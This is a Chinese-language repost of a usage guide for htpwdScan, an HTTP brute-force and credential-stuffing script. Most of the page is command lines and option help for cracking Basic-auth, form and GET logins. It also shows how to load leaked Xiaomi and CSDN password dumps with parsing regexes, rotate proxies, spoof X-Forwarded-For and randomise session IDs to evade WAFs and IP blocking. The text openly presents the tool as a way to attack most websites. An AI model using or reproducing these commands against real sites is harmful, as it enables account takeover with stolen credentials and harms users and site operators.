欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

htpwdScan——个简单的HTTP暴力破解、撞库攻击脚本

程序员文章站 2022-03-15 22:58:00
htpwdScan 是一个简单的HTTP暴力破解、撞库攻击脚本:   1. 支持批量校验并导入HTTP代理,低频撞库可以成功攻击大部分网站,绕过大部分防御策略和waf...
htpwdScan 是一个简单的HTTP暴力破解、撞库攻击脚本:

 

1. 支持批量校验并导入HTTP代理,低频撞库可以成功攻击大部分网站,绕过大部分防御策略和waf

2. 支持直接导入互联网上泄露的社工库,发起撞库攻击

3. 支持导入超大字典

4. 其他细微功能:随机X-Forwarded-For、随机SessionID,支持Basic Auth,支持MD5 Hash等

 

下面是几个简单示例

 

HTTP Basic认证

 

htpwdScan.py -u=http://auth.58.com/ -basic user.txt password.txt 
导入用户名密码字典即可

表单破解

 

htpwdScan.py -f post2.txt -d passwd=password.txt -err="success\":false" 

从 post2.txt 导入抓的http包,passwd是需要破解的参数,而password.txt是保存了密码的字典文件 

success":false 是选择的失败标记,标记中若有双引号,请记得用右斜杠 \ 转义

GET参数破解

 

htpwdScan.py -d passwd=password.txt -u="http://xxx.com/inside.php?m=login&username=test&passwd=test" -get -err="success\":false" 

使用-get参数告诉脚本此处是GET请求

 

撞库攻击

 

htpwdScan.py -f=post.txt -database loginname,passwd=xiaomi.txt -regex="(\S+)\s+(\S+)" -err="用户名或密码错误" -fip 

htpwdScan.py -f=post.txt -database passwd,loginname=csdn.net.sql -regex="\S+ # (\S+) # (\S+)" -err="用户名或密码错误" -fip 

使用小米和csdn库发起撞库攻击。post.txt是抓包的HTTP请求 

参数-regex设定从文件提取参数的正则表达式,此处需分组,分组的方式是使用括号() 

小米的数据行格式是 xxx@163.com xxxxxxx 也即 (用户名)空白字符(密码) 

(\S+)\s+(\S+) 指定第一个非空白字符拿去填充loginname,而第二个非空白字符串拿去填充passwd 

csdn的数据行格式是zdg # 12344321 # zdg@csdn.net . 正则表达式写作\S+ # (\S+) # (\S+) 

第一个#后面的非空白字符串填充passwd,第二个#后面的非空白字符串填充loginname 

请注意,参数的顺序是重要的

 

校验HTTP代理

 

htpwdScan.py -f=post.txt -proxylist=proxies.txt -checkproxy -suc="用户名或密码错误" 

要破解某个网站,批量测试使用代理是否连通目标网站,把HTTP请求保存到post.txt,然后用-suc参数设定连通标记 

一个简单可行的校验方式是: 
htpwdScan.py -u=http://www.baidu.com -get -proxylist=available.txt -checkproxy -suc="百度一下"

 

完整参数说明

 

脚本支持的小功能较多,请耐心阅读以下以下完整说明。建议多使用 -debug 参数查看HTTP请求是否有问题,没问题再发起真正的破解。

 

usage: htpwdScan.py [options] 

* An HTTP weak pass scanner. By LiJieJie * 

optional arguments: 
  -h, --help            显示帮助 

Target: 
  -u REQUESTURL         设定目标URL, 示例. 
                        -u="https://www.test.com/login.php" 
  -f REQUESTFILE        从文件导入HTTP请求 
  -https                当从文件导入HTTP请求时,启用https(SSL) 
  -get                  使用GET方法,默认: POST 
  -basic  [ ...]        HTTP Basic 暴力破解. 
                        示例. -basic users.dic pass.dic 

Dictionary: 
  -d Param=DictFile [Param=DictFile ...] 
                        为参数设定字典文件, 
                        支持哈希函数如 md5, md5_16, sha1. 
                        示例. -d user=users.dic pass=md5(pass.dic) 

Detect: 
  -no302                无视302跳转, 默认302敏感 
  -err ERR [ERR ...]    响应文本的破解失败标记, 
                        示例. -err "user not exist" "password wrong" 
  -suc SUC [SUC ...]    响应文本中的破解成功标记, 
                        e.g. -suc "welcome," "admin" 
  -herr HERR            响应HTTP头的破解失败标记 
  -hsuc HSUC            响应HTTP头的破解成功标记 
  -rtxt RetryText       响应文本中的重试标记,出现则重试请求, 
                        示例. -rtxt="IP blocked" 
  -rntxt RetryNoText    响应文本中的重试标记,出现则重试请求, 
                        示例. -rntxt="<body>" 
  -rheader RetryHeader  响应头中的重试标记,出现则重试请求, 
                        示例. -rheader="Set-Cookie:" 
  -rnheader RetryNoHeader 
                        响应头中的重试标记,未出现则重试请求, 
                        e.g. -rheader="HTTP/1.1 200 OK" 

Proxy and spoof: 
  -proxy Server:Port    设定少量HTTP代理 
                        示例. -proxy=127.0.0.1:8000,8.8.8.8:8000 
  -proxylist ProxyListFile 
                        从文件批量导入HTTP代理, 
                        e.g. -proxylist=proxys.txt 
  -checkproxy           检查代理服务器的可用性. 
                        可用代理输出到 001.proxy.servers.txt 
  -fip                  随机random X-Forwarded-For欺骗源IP 
  -fsid FSID            生成随机session ID. 示例. -fsid PHPSESSID 
  -sleep SECONDS        每次HTTP结束,等待SECONDS秒, 
                        避免IP被临时屏蔽,进入黑名单 

Database attack: 
  -database DATABASE    导入社工库中的数据. 
                        e.g. -database user,pass=csdn.txt 
  -regex REGEX          从社工库中提取数据的字符串,必须分组. 
                        e.g. -regex="(\S+)\s+(\S+)" 

General: 
  -t THREADS            工作线程数,默认50 
  -o OUTPUT             输出文件.  默认: 000.Cracked.Passwords.txt 
  -debug                进入debug mode检查HTTP请求和HTTP响应 
  -nov                  只显示破解成功的条目,不显示进度 
  -v                    show program's version number and exit

 

下载

 

获取脚本:https://github.com/lijiejie/htpwdScan